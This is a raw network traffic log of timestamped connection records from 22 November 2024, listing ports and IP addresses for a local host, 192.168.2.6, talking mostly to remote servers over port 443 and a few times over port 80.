Nov 22, 2024 14:43:35.393481970 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.393526077 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.393546104 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.393560886 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.393568993 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.393587112 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.393610954 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.412164927 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.412240028 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.412255049 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.413167000 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.413222075 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.413249969 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.413948059 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.413963079 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.413999081 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.414181948 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.414227009 CET	443	49759	20.109.210.53	192.168.2.6
Nov 22, 2024 14:43:35.414289951 CET	49759	443	192.168.2.6	20.109.210.53
Nov 22, 2024 14:43:35.423780918 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.423844099 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.423856020 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.437903881 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.437971115 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.437973022 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.437984943 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.438033104 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.442322016 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.446774960 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.446832895 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.446844101 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.452048063 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.452100039 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.452111006 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.458286047 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.458339930 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.458348989 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.469085932 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.469144106 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.469153881 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.479765892 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.479892969 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.479944944 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.479975939 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.480035067 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.490541935 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.501218081 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.501307964 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.501316071 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.501327991 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.501373053 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.511852980 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.522433043 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.522478104 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.522486925 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.522507906 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.522602081 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.524929047 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.526315928 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.526330948 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.526875973 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.526882887 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.532229900 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.540122986 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.541630983 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.541672945 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.541691065 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.541707039 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.541951895 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.543075085 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.543102026 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.543989897 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.543996096 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.556500912 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.559287071 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.559339046 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.559361935 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.567641973 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.567703009 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.567713976 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.567747116 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.567790985 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.576359034 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.577764034 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.577816010 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.577826023 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.586694956 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.587070942 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.587080002 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.594954967 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.595005989 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.595015049 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.600565910 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.600615025 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.600625992 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.623490095 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.623577118 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.623611927 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.626317978 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.626374006 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.626386881 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.647155046 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.647218943 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.647231102 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.651298046 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.651355028 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.651365042 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.654225111 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.654295921 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.654304981 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.657150984 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.657247066 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.657258034 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.659441948 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.659540892 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.659549952 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.662321091 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.662379980 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.662393093 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.668664932 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.668716908 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.668728113 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.668963909 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.669011116 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.669208050 CET	443	49753	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:35.669238091 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.669270039 CET	49753	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:35.674168110 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:35.674209118 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:35.674283028 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:35.674978018 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:35.674995899 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:35.995580912 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.995649099 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.995920897 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.995978117 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.996000051 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.996018887 CET	49763	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.996027946 CET	443	49763	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.999819994 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:35.999835014 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:35.999928951 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.000122070 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.000129938 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.005769968 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.005857944 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.005980968 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.006016970 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.006033897 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.006043911 CET	49762	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.006051064 CET	443	49762	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.008630037 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.008651972 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.008718967 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.008907080 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.008919954 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.256468058 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:36.256509066 CET	443	49776	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:36.256582022 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:36.256859064 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:36.256874084 CET	443	49776	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:36.914300919 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.920922995 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.920938015 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:36.921453953 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:36.921464920 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.064487934 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.070878983 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.082072973 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.082088947 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.086350918 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.086357117 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.113830090 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.175539017 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.175554991 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.179790020 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.179796934 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.392811060 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.392956972 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.393021107 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.393182039 CET	49766	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.393198013 CET	443	49766	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.399030924 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.399071932 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.399374962 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.402636051 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.402652025 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.441072941 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:37.441107035 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:37.441351891 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:37.451842070 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:37.451860905 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:37.508404970 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.508467913 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.508734941 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.508759022 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.508773088 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.508785009 CET	49767	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.508790016 CET	443	49767	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.511809111 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.511909008 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.511986017 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.512183905 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.512221098 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.513449907 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.513509989 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.513592005 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.513657093 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.513657093 CET	49768	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.513674974 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.513684988 CET	443	49768	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.515899897 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.515929937 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.515984058 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.516195059 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.516201973 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.740878105 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.742332935 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.742346048 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.742861032 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.742866039 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.755700111 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:37.755965948 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:37.799531937 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.800123930 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.800159931 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.800698042 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:37.800709963 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:37.875220060 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:37.875389099 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:37.875499010 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:37.875859022 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:37.939158916 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:37.939239025 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:37.941601038 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:37.941611052 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:37.941838980 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:37.944252968 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:37.944319963 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:37.944334984 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:37.944561005 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:37.987334013 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:37.996735096 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:38.161663055 CET	443	49776	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:38.162062883 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:38.162111998 CET	443	49776	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:38.162465096 CET	443	49776	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:38.163192034 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:38.163271904 CET	443	49776	142.250.181.100	192.168.2.6
Nov 22, 2024 14:43:38.186412096 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.186480045 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.186567068 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.186815023 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.186832905 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.186842918 CET	49774	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.186849117 CET	443	49774	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.190386057 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.190421104 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.190793991 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.190911055 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.190922022 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.206974983 CET	49776	443	192.168.2.6	142.250.181.100
Nov 22, 2024 14:43:38.246786118 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.246860981 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.246927023 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.247183084 CET	49775	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.247206926 CET	443	49775	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.263936996 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.263978004 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.264240980 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.264494896 CET	49788	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:38.264523983 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:38.615775108 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:38.615858078 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:38.615936041 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:38.616121054 CET	49769	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:38.616144896 CET	443	49769	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:39.229099989 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.233743906 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.233772039 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.235971928 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.235984087 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.241590023 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.241760969 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.244354963 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.244362116 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.244657040 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.285851002 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.296922922 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.300323009 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.300776958 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.300791979 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.303002119 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.303006887 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.342250109 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.342693090 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.342705965 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.343271017 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.343276024 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.343332052 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.781316042 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.781385899 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.781446934 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.781613111 CET	80	49786	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:39.781627893 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.781688929 CET	49786	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:39.781708956 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.784192085 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.848328114 CET	49789	443	192.168.2.6	172.217.17.78
Nov 22, 2024 14:43:39.848383904 CET	443	49789	172.217.17.78	192.168.2.6
Nov 22, 2024 14:43:39.848712921 CET	49789	443	192.168.2.6	172.217.17.78
Nov 22, 2024 14:43:39.849776030 CET	49789	443	192.168.2.6	172.217.17.78
Nov 22, 2024 14:43:39.849821091 CET	443	49789	172.217.17.78	192.168.2.6
Nov 22, 2024 14:43:39.851979971 CET	49779	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.851989031 CET	443	49779	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.858370066 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.858370066 CET	49781	443	192.168.2.6	2.23.161.164
Nov 22, 2024 14:43:39.858391047 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.858402014 CET	443	49781	2.23.161.164	192.168.2.6
Nov 22, 2024 14:43:39.978257895 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.978316069 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.978390932 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:39.988101959 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.988194942 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:39.988260031 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.190613985 CET	49782	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.190640926 CET	443	49782	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.191695929 CET	49783	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.191735029 CET	443	49783	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.196067095 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.239439964 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.292015076 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.292021036 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.296123028 CET	49787	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.296128035 CET	443	49787	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.308981895 CET	443	49788	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.311878920 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.311913967 CET	443	49791	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:40.311997890 CET	49791	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:40.312387943 CET	49788	443	192.168.2.6	13.107.246.63
